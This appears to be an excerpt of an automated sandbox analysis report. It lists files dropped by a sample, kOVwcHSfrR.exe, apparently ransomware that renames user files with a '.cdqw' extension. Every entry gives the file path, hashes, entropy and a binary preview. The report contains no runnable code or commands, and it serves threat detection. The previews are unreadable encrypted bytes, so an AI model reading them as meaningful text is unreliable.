Preview:	PWCCA.(f'+[2..x.4.l...5.si...d...a...$.....E...z5.^.rUrv.)4...)..(.A.L..y[.Y....S6.B..j.1L...0p.Qb...\..)=z.j..f..:Qu.....G.B.2.....o.zDz(..m..%...l.?.S...A.....o7W..+....F.c...G(T}....6_/p...S.g......#:l.g.C..t......P.-{...+v..L....oC....W....U.\Ij=...5.....'....#.A.2PW&..........O."n..............e...\./.........?.s....N. ..%....H(...-..K30D.)#.jv.i.^......{..3.A....i"......5v4.... ...p.fI..J-x]#.gO3.!....&..r...Q.....X.w.L....H..s.}..5..t..wxqH.C...F..V...LX\.2!....a...............u...............3.%..XI...8....3.TN.2.i ..B.{..>.Qp.'..)S..d......L1.g..*...q..,....=.......J.....m}... ...].>NF....[....&\|Ht.i..<..0....H..9B.ZB.......tdP....$.,q\|.9.l......z......&.?..........k\..o..7...\S..-+O.3...#..\|.....sJ=....[.YI.%y".....H...yu......YG.1.._.a.0g...Bz;OPh..%N&8...Z.s..Z.l...A...B.67<..8...R...d......A...\|....-......I.'....c.Y.`..h.......\|...../P.........n\|.h0..-......:..g...,.;.i.CGL.^.Ni.}_..V..r+.......D7P.6..

C:\Users\user\Application Data\Microsoft\Windows\Recent\QCFWYSKMHA.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847400195246081
Encrypted:	false
SSDEEP:	24:hNw2U+AZ4P48MqwRsQqHazPQuQn+LdyGysjUfwmahdoD9w1bD:ha2ZT0hqHoPmcilwoByD
MD5:	BEE8061B83E1EE8B5F305D9BDA9D5D14
SHA1:	25682E8C437724E62BCBB035CA27E8627CE39B40
SHA-256:	66F7F9C1825077D27D7BCE6BCC397C7C2CBD400619EBA760E4B90130151EA534
SHA-512:	19BAEC5B71D4CC7D7F0D815182BD8EC2D0DF231C2FA4BC79370B8D7CC449093D1312F938D3848084D1B7B20EEC23574B3A93C3DCD6DBA22B419B17C9AC8B7140
Malicious:	false
Preview:	QCFWYh..hS6.....~&..>.U...L.g...J..+.SN7.$...I.5a...:#>....L#....]+.....t..........n.4......#..]9.QS.mX./P.....V.....d> ....vcD..8<R]...Kl.63-./H k.6..... ."..}9....A../dK`.....W0..!+e....T..>...~...p.....-,O......Y;.....#t.dU]..i...(..o.BTh..8.....D..1...S......+..;....Hlj.<..G.T6...\.}.........M.a;.......E_.}.p.........cx...3...<.I..-.+....jv.P...p.9r.7....T....F.]..h`\h;..x$...y..P.K...Q..,`S9.#...Sl%.x.y.wZ...3)X..s.-.N.W...0.....k4.\.s(..m..~..........4G....._Qc.N..-.0......U.3P].c.../..A.9....A...:...,S....U......;.9.P(.d.?R.b.\<..$..'..>........F4. ...C...o.....-.LF...m.^......C.......@.....$.:.T.)..$.i..z+..e........iP.7.....U04..9Xj.. .4...J...wf.i...I.m..3..B...].7.o.z.e!&.V."..<..o...c..\a.0.W.;W.....,.=h0.U.;..........S3.....V..w..Fv.7I]Tb.....D.ACys.b.,P...=....VA...4...~...uc.i..H7..0.Kj.....XlKl...7>.9.C...2.W%....T...,@...<..K..z...u.....\|=Z..C"....4[B.o.k`,....c.ff....6.T..'bW.X%7._.j....5.:V...06..l.D....H./..i.

C:\Users\user\Application Data\Microsoft\Windows\Recent\QCFWYSKMHA.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850889491349007
Encrypted:	false
SSDEEP:	24:fnfzhRCtsR/AdGgeicXZXEnmU0a3OqNx7k2a3IOkZqeQB9G2KBkMSAygrKVivtYF:fnfzXCi3g+pUp3OqrYMdqG2qyjVi1YPd
MD5:	D73F9A075EEE9B0638C673012E500B80
SHA1:	E07955FEAE864A2E9B8668FFFEFB61C1D5AB03FC
SHA-256:	BC02D19871097CCDC89B3DE76064ADD660CA26443AA4274F1233ADE4C1B5360B
SHA-512:	B897AA8A089FBFBDD646DDC7F8CC2902604646AC0E966B9FDAAAB0548C8F2EAAB404240E026351811DF858DF1077E9D55AB0803ED9ABAAC84D781DB676D017AF
Malicious:	false
Preview:	QCFWY.9/..wE\4..LK.cQ.C./.T..SPn;usU../W..b..[....f..F..s}.r`^.\~C.U.....@$..%\..........R..,.Z..V._]..S.-.g.....c...,.L[..B.V....d......h3).v...t...D.[.sW.,..1Uc.....9.@....._.p...X$...0w7l../.....G.5.R..=F.OC:j;.&}.5....e......UK..#Idje.S.L...I[......w.AP./..s...v.}d.M.\.Vq.^.Y.;'.Dq..o;s......1...f6;.7..C..<..,...;....z.....b...,....H.......X.@..P....7hY....lw. a.2.Qu....p..+9.rn.J.@?.=......=-"....d[.... .1........"(.hb\.n....B.x.M..l.-..u.4....4.'....FB.n.n.v\H./................T.xn.c.bb+..r.k....}.m.r.9;V.y..7...I.....8..T%.?.t.y.W..k]...0.......!F.a...o....:.J>5Me;+q..{...G.H.......q.......7..5a1$6...tf5..s..T=..Lv.4O;1.A>.....X.\..h}..(.....N.[..aP...Z.gdq."..V....l!.P^3..A+u["`.~..;61.!.7~..#..-?".6.Tn...Ln......&.o..e..l1......y....{...$...............c..By...q`-...N.f...I..Ks0.^8.........6........./..\g..t.2@z.%k\...c.w...M.......(.Qs..%]....FImA....S..@.+.....z.>....7\...{.............3...&K.Q...7i......Z.+..

C:\Users\user\Application Data\Microsoft\Windows\Recent\QNCYCDFIJJ.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83193467967459
Encrypted:	false
SSDEEP:	24:hFCaax3R64sRkCTs7+X8NybX20fthgf3KJaRQKj9QwPIF579Pl+y3ubw1bD:hFkxoa8sY8gbDa3PQWHPY1xlt38yD
MD5:	056CAD36B79495A21E069A214878B9D2
SHA1:	7829B8BAD6720A69E955715D5983CD42309F7EC9
SHA-256:	7474C89111D80FAAA4DC53E90A7A15399A51DAE54239DC80E87242882E27D118
SHA-512:	1EAC639CE9FF1DBF2A3816FF9E1C1BD6E5BEEB2558DADD6D1D6A6AB54C4940F6A0F832D79D81095AA6C216A9F24326CB20C357FF8F2432894D35C86C81B8410D
Malicious:	false
Preview:	QNCYC.....{.o=...z.M..mP.u.d3i..p.s .H.X.n..YOSe.k.>.:Z..&5.n...I..H...q....&..A....M~.K=....x...1x.].&....:j...c.d..m../...3.L.x.&<....4.(;Mc.Bo..k?.......X..^b.O3..B........{......?....66..5.+.o.d...gb=.Z.7.yQ....z.E$.n.o.~..e..F.....'.e.S..F.d...d9y..T.tl.M..+..].E/..O....#F.\Q..Ta...j..c..@.4.+.f..q..^.E...:..>.k.n....T..A........!.ID4a.....Qb%=..C......$~W..PDOE..i4.YK..zi#.....Q..y..T.....w.NN-5.B..p...:.T.......S5....66..."....m.t....y.\.$).<..4....>.pj..oD6/.6........',YCIg.&L.(...i.....\|..f.!x.x.\..&...'.5......L..5....].0.....^...y..F%K>x0..A..8..........V....M.\|..GJ]...0q\1......VLj...W.U.9.oe...}SB..x_.N.a.....W_ S...~t......#..D.6..J..F..r.m.YF..C.<.....x..Yn.3......F.....yAs{...i.J...(.....{6.(.k-...z.#e.G...Y6..."^...Z.i..O.PC.,........O.".M.@+.ir...=./,vB...1.............-.e.2%/.HO.]k4.Kf..C..?T....E...L.g.6..9%.z.V/A....S\$.).#_.EQF.by....>.....0e..U.iBq...P..]..2.6.....o.C4..8...PA3W.....gA.-}...nL..@O.cG

C:\Users\user\Application Data\Microsoft\Windows\Recent\QNCYCDFIJJ.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844756919825065
Encrypted:	false
SSDEEP:	24:8mm7Dlh+2m3DYhDJO3RojvBqnn76AwG4Gw97RGg9lrYpdS1VvYdv8w1bD:8m0r+dUXOhDnnGAwG4x7YErpgt8yD
MD5:	C414C3A1F9495FFCB1E3B1320027B6D8
SHA1:	52FB12A2491193046E45CCAA60D789A734D8BA39
SHA-256:	753D6C4EA16DD93A99EDE6160A08253D93CF71CBAAB852E3D09A3C6CFDC987BF
SHA-512:	83439EBA23765405EBB721F5049F89C6026683C17374C07FC8364A72CDEC63656A7600A1C4389A6FEA935ADB9E71F84AB8691BD4D865584CD301E97787FE9855
Malicious:	false
Preview:	QNCYC.4.../...+....}..8.E...1.G.......1.$...,I..UD.......T...>.>9D...?..].:y.e......Vx..H...jZ....a.l+..{L....qo.J8J.w.Lf....3.a.Y..).8.3/.73.......Hx..k.ND.0.S....{M....WSJh..e.&y..gI".x..\|.y.ND.G.A.Y(.._....f.I............/.XI;.-.....T.@.1....?CU....R...QSxQ...:s......E..m..2.q..E..y../....s.azS.._aWt.^.Qp.&....^..i.K..i..4../w[....J.;."_..tg~.6E.......=Zq..k[B1O.=.`.Z...1-s.r.u".q...6r.L.K.q1....l../.....W.V.~..X.....P.Ic..#.4..J.._...5e...5?..},.......rf.(..a....3b...3...._...r.;...w....8J.....{K.2..WLW.9.U\|X..[.....g...T..n.13...5.T......&..~5.n..gzl..]...(gF..:.tt.T..I....Iu.H>_.m.#...I...~.i.....j.(.(DD.@....\|Um...j...x./KZRZe ....oM.%$~.....(..?".../....P'4.+..p_.t.\|.."e.$tA.7.4sM.~a..C....~...mp.+....@U....9.3..\|......<...v.n....plX..x.s.+.?H..X.....!...]R{.r..lx.u..~.......K..f...y.?)2.^"M...4=P....]..V.(.;]...h....ya..Y../iS..U..&....3..4oye.r.\\|CW.\|.jB..H..cpU...h..F. .!..R.A..\.E..)...p.oR................i.L('T...[n.Jl..OQ..,wG

C:\Users\user\Application Data\Microsoft\Windows\Recent\SQSJKEBWDT.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83898748797451
Encrypted:	false
SSDEEP:	24:Pr5DaiZd9eHxfXtQjSNTxkBewi52Gm1drtZm6OjuCJ3OsqoajIfo9Q1RDHlVlEM1:Pr5DfHkHxqGlxkJiEpXDOV/qoajIfo90
MD5:	7FDF20BB09DFF5E54CBA167000106E90
SHA1:	711CB427D5731A14CE3C558B2CB98990FEABA2A7
SHA-256:	6D50D10E68EEEE229AEBA552A710EF4A0D7C9F6802375908F2D5CCEB84F3AFB1
SHA-512:	F4E8A8202963E77F0C1D2744B425B8C372AF435FC05E23A6008E13BC600E07F62B166DB9519DFC704D377A274F1E443D28922781069174B94ACCA92A8926349D
Malicious:	false
Preview:	SQSJK.q;I;..o9.....!.F....\|.$.x;.?V..PG.X......)QX.<j?......VR.....'.,X.5..=X3W%..K..SQXs...K.....h.n......p...-....K.(....C&..K..f.-....-.a....0...#..z.Gz Nstp!VSxB(...68.a..'......t.5..vH.x.k...T:.V....<c.Y...........1..+..G.....a. .j..K...vz........:...T~....hS.[Q...LW....VOp..(....}....7...x....\w..0.,h...]..\....t.V.P.............No....wo.XS.m+..h....E......+.....Tv.L.Qx.0cL...kzR>W...l7.".s]P.......r.....C......Q..}...x}M..s..>..(...hW....*5......R.=.&nt.u....s.jvv.....=J.k..p........=R...Z...<up...wZB; ....h..Zt...r4..?t.9l...r....6.N..@D.n:.....\|&X>....e...M.-3.A....h...].99..s.....@..qv.[....ni./..K....Y.vd..,..9...>.\w.f....S..g..[.(..T.2.7...66.~....T.Q.........:.......v..TwRp....o.H.WdW....>L..Bd0Q.... .\6.9.......V..7p.xt...T.@/ .<yy..n.5...9.9..7`./..t...(.'..pn.l.......F.q....42.G.4.#..Du(..z.....%..V....X]]....5.\|.4..O.z(j.....7../..M).^&p.b.5}....;\..+-...S{.).`?....}..ym...e..0]..u&...qk.4.+gj.J..G....0.P..x.u]A-..w.

C:\Users\user\Application Data\Microsoft\Windows\Recent\SUAVTZKNFL.png.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840261624861958
Encrypted:	false
SSDEEP:	24:BgGhk6QAV9H/qKZb0c0idaB1089Kk/HTFl6UUBZ/oc5FE9sInLciMF78Hi9Vxw1X:Bnhv3/q+by1rVvTz6UUBz09sInYiMFs1
MD5:	F77EFBA0C1862520FC6CD11641883861
SHA1:	98DF221564B9820294A7450989FAB93AE4082781
SHA-256:	E344C1E3E8FDAFD5B3DB871903A9ABC1AD6A0B374CC2305120C7E3C23C8C5C21
SHA-512:	BFBE096894CEAC5CB96D989F745C11203F7D0EE93957F76FE7AF4D3C09FCA904847A50FB8092BE090C70F12340149CC660E6D3E3EE53061506EFB1C1CD942B4B
Malicious:	false
Preview:	SUAVT...a...[.....&1dE.SI.../..m.\|F.xDr.G...U.{.....R.V....f.C..Z....OH..M...xb.c...R...OX..Q+.A.C.(.\..`s!..N.&.A..1.>5.. ...c .a...YZ..e..'...?........ .@......(.I`s..t..........i....u..-...o.....H.h.F.WEnp,...I7.@rJ.9PE+O.@z...n...:.d.;z...]#..D.=.....79./.....C#....w.UH.4.d....=I'..f.....oY..RSg..'h..(..Q.\|g....]..b..h..7....6.`.C......8?y.FH.<..A..M]..3.s f.9..r>..\|8.....:d....1^a...D..Q.C%.........:.s...oX@.X.#=...'...or......I..mg."...F........W;.1..jJ...L.v.5Xn#..f..}..w..n...g.%..WPw+<.2...eH....{1......L.m.B[...I>l\|.;.......<..O..6..d.P...B...5..&3rK+..h.........]..d5._....31.R..1.d....1.....L..Y..t...{...JS..b.pV_5.D....._....W.....H...j;A.4.i$..&....H.E#.qh..a}PH.i.d...x[?.....7IS-...R...(.]._S..LQ.;._....i&.d.,.........g....5....q)qG(..Z.@......t....!..r1.0v...x.....W.8..ta....?.v..,;D...h...o....P.yA...i........G..2>....x....<.#.F.yy.k...4.V.fHK^.....<.>.8a...=(q{J.a....VUV.d>.Y....3.=.U..]...h...=..._..}.....$

C:\Users\user\Application Data\Microsoft\Windows\Recent\WSHEJMDVQC.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859592219650555
Encrypted:	false
SSDEEP:	24:Ai5IvrdM2IdjHM0Q77sHiCyO99FcBT6WqzYeYDKLf+L4xKLm6d+w1bD:Aih2IlCiiCyO3O20Or+L4xKLxd+yD
MD5:	484CF0EED2375F805C9CF48DB17A6FBF
SHA1:	09630FDF4BB28E1C32DE12DCCB15FDDA9C766233
SHA-256:	D602501B39AC9C7682A7A5192F48841BBA9D770E52345A6A3603C65C68D0219F
SHA-512:	2E08A461A8B9C1D47E8A254622DC8051FD629A0A8E20A91ECC05CDCDACD407EDE2889D11B78B321EB56D316146014EAF9D5E52D2EE443DBC54AF6593A3C6CEEA
Malicious:	false
Preview:	WSHEJ(...7..~.@J.D.!.u.K(....g.9zu...7..N.B....x..#..(`._ ....)..........U.....d.NN./0....:`...(........N}..%../....P...c..5.d..g....;.l.e.....0.A.-.`{......`.nk....!.....3z...1S.hsV~;...C...@'....}..]...l.......GVi2.G.........&.....T..tm.......{8...7..Mo.P].i.....N..p.Z.L.S...W....-....Kmp..~y..K...........o'.O.=,v...J`......g"...^..1.Z..I...V...k...ow.p/JG...0..A-....'9..b...>..l4Mo...).w..@u.7.7....9/.. l.8E.k..1-..Z.{...5..8o.......jr)..g.U..L.A........].17.....;E.....d.........\|....b...(.{.._...H.9....T.y.1y..f........o.M../.3#..#....CR.r]oC...S..n...`U.\.....Xk.6~(f..=....g9..........:....to.}0...P.J.m... .?F......xI......Z...C....n.&.&\|.'{7....3..B....~.b#..w................x...?.B...2..JE._....kD............_........-.......n.H..PF.oU.C.... ..v3..7.(.-[.6..T.E..U"0.I.G...q.k.T..o.]......o-m.....>....<./ng8.b..1.lC.J\\_.tKT..i.WB..Q_...\...D.....i..W5}....D.......W.v..C]^....H.?s..\r..'.=X...>U.+....i..$*,{\..YAM...d"6."....

C:\Users\user\Application Data\Microsoft\Windows\Recent\WSHEJMDVQC.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8348998761466095
Encrypted:	false
SSDEEP:	24:UJSkNUUvcOik6+YPDKsm3ZGRE3CToYJG87Geg3qwTQgx/sSKr6xmvYw1bD:XUvVirasmpGRBToYIy7g3qwf/LxmvYyD
MD5:	40E3834142C379F739104563C6A02509
SHA1:	23A0A90A88302899B10DBF2D6FC3B18288432EAF
SHA-256:	6A6568B87E8B57B58B28DB4868C2C34AC1B3A864E2AE3DF48BE1B24FE3E62EF5
SHA-512:	6932ED6A681CA65BDDFB5BE56455A0940E8D1B943CFE71E96F5FCA864B0D8313D5090A0E28E924DCDBB5E5A1B6CF7FA29518AB42BCC5BAAC75D1475CAE040343
Malicious:	false
Preview:	WSHEJ.U.Q..}8...7.o..........T.....w1,..D 5..C...d^/z..g....3......e..\...W........x.3...#?.Hy.....u.....k.Y..A$.<.....U2.@...]x8.Q...N..5b.nJN...Q.h._..t....K..7.& .7F/.......&.f.<._4.)......6..SrL..#.A..P.\.....J4/...e.5PX%.m...........C.w....yy....D.Vx.u...........Z&..........l..`.34..J...I".`r.(......-...0.US....YG...gw............$........:......]S\y..I...S.J.P;~..u..k..x..9.....2{....FQ...%...N...;_N.....O.]i.7R5.&p.>.n.._..6g<...Q.....6....?...U..U>..5...v_..d....~...+...3........"{..X...N.r.&..i...Z.C.Y5...7....Jm^phU.7.C...U...zT.3.-...1.Ag.&......JE.y}.!.u7..O.(.....u!.v..MW..:..._....t.`uw..6......B.N.c......Xq'...\|Q...!...`...+.t...L.............T.J..1^'.:..4.g...-.ft.^N..&.'O.c4no...(........r(....j.7D.Q.j.p....m.h.....H...qTI9....~.gi..Nq.c..m.;...1Y..M..J.~Ue...........,.=...6.O.......}._...e.....N.\..tO...3...<...m#(.H`........`...$mI?.>.r.F.._...:V.h...H.u1....1.xi.Fc(.u......LEXQ...@E........

C:\Users\user\Application Data\Microsoft\Windows\Recent\WWHKSUKVTC.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848748584193292
Encrypted:	false
SSDEEP:	24:B52nZHFX4DBlydfwtFsQA+RtN24eh5flRglF0UZMni3sxbIFgvg8w1bD:a5FX414AmQHto4eTt6lFNZWqOyD
MD5:	0BC09DF17FCF9123B94753BA9ECE06C3
SHA1:	31CE27E82B8DBF8E27A5C8E55A1A9378252E8FC8
SHA-256:	92E79F78B29C348CE860573F279115D73A15C5F08E882C67FF34695A88CBBD5A
SHA-512:	C924039243990817C121B878DDE5CFEDF4F5414AACF0B31F7B1199C67257F76501A5BDE8619BFEA125091362E873D24089712DAC8357E1823ABAC26E4889213B
Malicious:	false
Preview:	WWHKS[[.....fm.:z..98B..P(....\|G.`...QRFj.3TV,..f.:..%..7Y.6.......25Ag.....-..k.X&...Y..>...D..D~...n.m..c.9XZ.6..k?k...9..".nl....ai..T,O..Y.E=T........A.fLw...~r"%M....S}.C.......M....I.:..2.rC@xV}A....3...o&..J.kk...r%P.(...XnY.c..~.. b.`.....$....Hwp....].#%..q..UAv=lir].......MG.k. R.......N.....PF..7...W..S.#T.8.w."4.c...&.`4.c.....?.&..V.f.\|..F....6^..C.\X......W.m......9._.7.......f._(.........G..,+.S..7..c.75Q.Kv........d.+;.+....1B.\.;.h#.dP......7..1.9......m..3.~.....<.O9..{.G..N......t...B.g.a.+J".z...r5....7.jh.$..T.2.X..B..(k.......>..X. ....l..K...$&.+../.....U.(u}.0t~.;....o...6.{<.._K...NY....O2[.$.....H...Y...u`D)d.?.D..#\]1.....uFS-.....5at....^\|C..g....&.x..%...Q.Q=}f.sS...f~x.UR.x..>........?L.t...w^w......%HO.......v...ok.-.j.G P.....1.....A..z)[$..J..oB(3.!A=.d....d.../.....R$.P]......M.&.@..+l...x..a..$.i8........3..e.'/.g..b.=a~.> ...l?.zW'.."....^.)...i=..\...7.WO...S; ..y.........k...:B.f.~0.+...0..^..~.

C:\Users\user\Application Data\Microsoft\Windows\Recent\XDPQCPDGHC.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8481690711184795
Encrypted:	false
SSDEEP:	24:q++AqPd1EEqej1bO4X+GwmE34DE3EC/HGcTusNWHqeNhd5Ggd7Gs1UP8xdtw1bD:qpAqPd1fqej1C4XzwF3aEPruS8/TCP8g
MD5:	DD9C2BE7CE982BA0D9C31C0D19694ECE
SHA1:	5A9BC9618E229FF287D9F56511D18F3F15074927
SHA-256:	CF649F7EE2C590FE60E7D56719D869D066DD93E34DD95BD98145C5650E890981
SHA-512:	5EA573546450C9292801CA009E460AA7392C643DBE8453BE567E8A2B0E4F4EB5EF62A57E2B12512F26D07FB188AF9E6D5CF853F7473E9E3CC3473BE68C7F74E9
Malicious:	false
Preview:	XDPQC.I% .=p.fV..R......a.....v..!r.........W..(.....D..EyQ3..ya.u_..<8PD..\Z..r.{....p..\....zx.....6_1.r.....-!..........V>..I\.._.Z[.j....ctX...+Y.....9.M.A..gV].B.0..L..z../P...Qk..n'..d....Lv..N.S..(>/.....}..-Wr"..."J.j;\|'1..SA..mP.....4..r.2......]}..m.3..4...Z...[.T.gJ.(,A.N.z.:.E.r..j.v...x..\.F.].o.~u..C#....j.x.6k.". ..4..x&Cf../..g..fu..Y\.2.p....n.u.......T...J.yji...8n(.Y...~....<..-.]...'.`..7'9I......C"......{.if...o.H.?Y.3.J.....7.&.Z...)u......".......2\......$..RPX.{.......]Nl....j..f..._].[..m.t.....<.....B...S.*..}...1.r."g.D.>D......)A..9.dW.D....fOLo...4.R..I.:h..jn>..=.\.dh.."....h`../..n.l..T.....Q.$2V^....g.'.%..._...S...L..$.oU...R...V...mW..$.^..v......'.D1N5...`../wM&'.Z.+.s HB....8....r.f?O.g.\7a.l...N.l.QenIHEX...4}T.....E.....1'.]...$.d.V..R,..Y0W.y..@..;xm_LT\|..nIuRP.....r~u.Y.Dz...N...#.$~.#......D?..zt..4...98.H>aD.>..J.qZ]...gI.+ak/.^.a:/.q...KM..^QE........U.......DRi'.F..R+..V....0.5.. ......P...&@..i7.....o

C:\Users\user\Application Data\Microsoft\Windows\Recent\XDPQCPDGHC.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831451011492696
Encrypted:	false
SSDEEP:	24:7r0Uwb7sRybW3Soz6qBCDuFlqMjKMQhuSeRi0bkzvwUswUyxqRtuUhqP2w1bD:n0UwUrHBQu7PmFtnn0Rdk2yD
MD5:	9CB56FDF56FCEF7CDB2E571F78B2338C
SHA1:	B5EB904B5E5554C3D5E37B0AA2DFBAB0909DAF53
SHA-256:	259A4CEFC74166C6E88C2A3D539D81F769FC9F597069629ED947ECDB795CA67F
SHA-512:	1EFB141A9158CE853D82670974569985FA0D0CC33DBAE66B1C89F04C14FC7A5BE9E4C15C3D9274C0F0F7776F689DD357D95B37A41E44E27C90E11D95B1678ED9
Malicious:	false
Preview:	XDPQC...X..>..s.o.f+...{...je%u..s.IQ...&...+dc..m.)............7..}E,AeOB.....d./!.&O...f..O..y.t.J..8......cH..Y.V.w..3.p..2C...s)....h........-,..\..-..,..f!....8.....w..f.b.}.Zq.K.fU.3.soH..,..H.<.nd..p..R$.Q..-.....z.K.q[..5....x.x=.il.3b...iL.l.,..5^rN..GS@.A.......a......@_.U.8....Q._.zG...Z...........rUs..h?.Xe\|x..,d..14.{qr.9Z...w#...@Y.~.O. "..Q......>.iB_...}......A{'..[..?...bH-.%...E...o.._?...(C.o]$.V.b...%..m..>Hb....4\az.......x......A..6...05.]DYv..........hz.`"WhO._..i:...n\l.Dz.c..C..H...,...&..sn.1.....3....I.o.W!i...c.:....r.l.2c;....../5H.Ue).o..7%Jr.1....dCg...b`..3....<..X...-Bq.f....?...xY%..@..i........_60E.n..k.x...D.W..)yZ.u.k..V..;B!.7.K...Y.:in.p.?..`..}7..G....QF.~~]..P_W1.Ke.B...88W.y$..JY.2(.}.><..r..d$..7...6...H..@n..S_.8...}+8....-j......OF...#...$....xk.F{6.Q.A#...,..@.f!..l.......1oQ e*.\.z.dx............R.7.9..e1..../.v..W.,tN.f%}. ..$.C..C...J.z}..}.+..R.S...1..L?...q...c.x.}....,r.S.'...'.=~

C:\Users\user\Favorites\Amazon.url

Download File

Process:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.393192748856539
Encrypted:	false
SSDEEP:	12:X047QqpxauqjbNtonjBBFa13mEmoqw1cii9a:vQ4aAn1/A52w1bD
MD5:	68B4344591CD4E215F37ABDC55ED7F06
SHA1:	72999B405081FAE7D817AEDD35C124DFB469F036
SHA-256:	0A9AFA80BD181A6D52CF9B06E6368C55DD6149067295EDFFDAD391F46B49CC20
SHA-512:	1D6AB83F8712E1E76C03440E7A60FF5342D35A3720DA833B05982C1B09E128F1A5A41FD47668978C16C6F77508D71FF117958B175DB20992E110C017F24351FB
Malicious:	false
Preview:	[{000.}..PP.P..m.3.y.O....d@..q\|...q.2 .....1.pd..1U..l.MN....8....._@..4<...5.3.Y....Q..f....E..#+r.g..-N...i..3.........Y.. HM...T1.27I.4XF..8.."..L..?-......'Ys.,j....m..o.W..X.Qz...T..F.G...C\d.C..j.1......Y.=..#....!>..};.V.R.}...O..!.N.8.u.8(/j.......E....7W...h.w.\GC.p...Y..F.4...A p....4.....n\|P..T...."@@J.V.I..^7..WQ<..'.Yv.i.........u.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Amazon.url.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.393192748856539
Encrypted:	false
SSDEEP:	12:X047QqpxauqjbNtonjBBFa13mEmoqw1cii9a:vQ4aAn1/A52w1bD
MD5:	68B4344591CD4E215F37ABDC55ED7F06
SHA1:	72999B405081FAE7D817AEDD35C124DFB469F036
SHA-256:	0A9AFA80BD181A6D52CF9B06E6368C55DD6149067295EDFFDAD391F46B49CC20
SHA-512:	1D6AB83F8712E1E76C03440E7A60FF5342D35A3720DA833B05982C1B09E128F1A5A41FD47668978C16C6F77508D71FF117958B175DB20992E110C017F24351FB
Malicious:	false
Preview:	[{000.}..PP.P..m.3.y.O....d@..q\|...q.2 .....1.pd..1U..l.MN....8....._@..4<...5.3.Y....Q..f....E..#+r.g..-N...i..3.........Y.. HM...T1.27I.4XF..8.."..L..?-......'Ys.,j....m..o.W..X.Qz...T..F.G...C\d.C..j.1......Y.=..#....!>..};.V.R.}...O..!.N.8.u.8(/j.......E....7W...h.w.\GC.p...Y..F.4...A p....4.....n\|P..T...."@@J.V.I..^7..WQ<..'.Yv.i.........u.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeCMapFnt23.lst.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.884699439094672
Encrypted:	false
SSDEEP:	24:4Q3LCb+6qfCkJ7LIxaENDBNenJu4l12Ay2D3Df8HsWQxwL0JF+xQKpnXZUhVNJyh:HCa6ECOADmJu2nbw+2EE+vNO+yD
MD5:	321DCF1B1B930D9F9659DE62230DB512
SHA1:	8B46317BC93D7ED095A0C15BF8D6C0D5B79B0133
SHA-256:	B6FFE6D4C2EA1CC70BF955A5A6286F348B8BC199C156D90841B085C9855FAB0A
SHA-512:	AC2FD72B4754C4DEAAB997908733351057594BA443AF2A477BBFA37E6A5096585280770023F9495CCAF801AB3E90B9E07EFFA7F6E7E83DB88FEDAB97B16AA74A
Malicious:	false
Preview:	%!Ado...^.5...).....qCs(....."./xOD..3p../.xh..h{c.,.M...M~..Jvg...ZP.8.N@..%5!.q.jQ.."..A...DA........><.T(...d%Qr<......>J<9o.WtI].s$u^X..Z....>F..$.X.@.......;h.f`..pOQ^.....w.7..WV{....6...}..Q.wT&.l...F..P.N...B.:c..........x....#.....Vz}.7v.q....<xe.2.`W39..)......V..+..ZX.."..B.Z.... .4.u5.'u........s.p.,.....\|.pt..!]..=...8.../......I..'....lE\.]....w.`...e......,.A5{..(.......#.~...p"."..q.......T...`..F.....mN..6.7.....d......Vg.A!......uV.:.@..mV........2..!...@..0.I...D./..\....eT.O..%c..!xjC..B.&..[.l.....h....G...9.rd...na....-.........Y^...../...........M.(6.`..4.:.U.Z.F.3...W....0..k9d1....<.t.z..b.t7..9.\|..P..Oz:,FU.-\|....b..o......O.o...;.O...q.M.Z...42O.C..Ku>@+}T.\|...P.g...7'B..s. (?.{U..U...,gz......I5....U2....x..eX.^..\...ehK....p_.h[.\|v'.n..qM.c.o_...dcm..M]...7j.0,...(.?.....-5..tXW.-m..;...0n...8..!6...A......_27..vU....,..d..\...G........M{.&l...!}..\..S._....P.N..1.V.P.N<........_{...b.K...a..+f.BLa.....`

